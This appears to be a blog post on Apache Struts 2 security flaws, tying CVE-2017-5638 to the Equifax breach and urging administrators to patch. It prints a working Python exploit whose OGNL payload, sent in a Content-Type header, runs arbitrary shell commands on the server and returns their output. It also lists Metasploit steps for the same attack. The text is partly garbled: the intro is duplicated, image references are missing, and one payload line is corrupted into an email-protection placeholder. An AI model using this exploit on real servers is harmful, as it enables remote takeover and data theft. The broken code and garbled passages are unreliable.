Apache Struts 2 on the Naughty Step Again

The software environments that have caused the most security problems in the industry have been Adobe Reader, Adobe Flash, Java, Microsoft…

Apache Struts 2 on the Naughty Step Again

The software environments that have caused the most security problems in the industry have been Adobe Reader, Adobe Flash, Java, Microsoft Silverlight, OpenSSL and … Apache Structs. Each of these environments often allow code to be run in a sandboxed environment with administrator rights, and where the code jumps out of the sandbox and runs on the system.

And so Equifax was hacked in September 2017, as they had failed to patch a vulnerability which had been known about since March 2017. The hack related to a vulnerability in Apache Struts 2:

But now Apache Struts 2 is back in the headlines with a new vulnerability — CVE-2018–11776. Its weakness is around a remote code execution flaw that allows code to be run on servers.

Apache Struts 2 supports an MVC (model, view and controller) architecture for Java EE Web applications. The MVC approach splits up the View (the user interface) from the Controller (the middleware code) and the Model (which integrates the data infrastructure). With Microsoft, the MVC system is named ASP.NET.

Apache Struts 2 has a poor track record for security with 71 security vulnerabilities over the last six years. As the patching can often be slow, intruders have been continually launching attacks against systems which support it.

In Java we have namespaces to define the libraries which are reference. The vulnerability relates to results from a View with no namespace defined.

The Problem With Apache Struts

A previous Apache Struts exploit named CVE-2017–9805 was defined a critical exploit and allowed an unauthenicated intruder to run commands on the operating system which has Apache Struts installed. It affected all versions since 2008, and deserialised a Java request. Then, if it was an operating system command, the Java interpreter executed it as a command and outputted the result to the user. When the Web server runs with administrator privileges, it thus allowed admin access to the whole system, with complete access to the operating system.

The vulnerability built on CVE-2017–9791 which was published on 7 July 2017 (and patched in Struts 2.5.13):

The exploit used in the Equifax hack was CVE-2017–5638:

As we can see, at the time of its announcement, it is rated as a 10, and where an intruder sends an HTTP request with a given format, and where it moves down through the system to the operating system and where the intruder can take over the whole infrastructure. This uses a crafted Content-Type HTTP header, where it carries a command as a string:

#cmds= string

Here is the Python code for the exploit (where the #cmds string contains the operating systems commands to be run):

def exploit(url, cmd):
payload = "%{(#_='multipart/form-data')."
payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"

try:
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
request = urllib2.Request(url, headers=headers)
page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
page = e.partial

print(page)
return page

Once compromised, it is possible that the Equifax hack involved the copying of the whole of the database. There is a well-defined test within Metasploit for it:

msf > use exploit/multi/http/struts_code_exec 
msf exploit(struts_code_exec) > show targets ...targets...
msf exploit(struts_code_exec) > set TARGET <target-id>
msf exploit(struts_code_exec) > show options ...show and set options...
msf exploit(struts_code_exec) > exploit

Conclusions

If you use Apache Struts, you need to patch NOW! If you have an embedded system which runs Struts, you’d better get our there are patch your system. This is a serious vulnerability which could affect 22 million servers across the world. Java does not have a good track record for its weak remote code execution, and Apache Struts has one of the worst track records for serious vulnerabilities. While servers may be easy to patch, Struts also integrates into a wide range of IoT devices, and which may be more difficult to patch.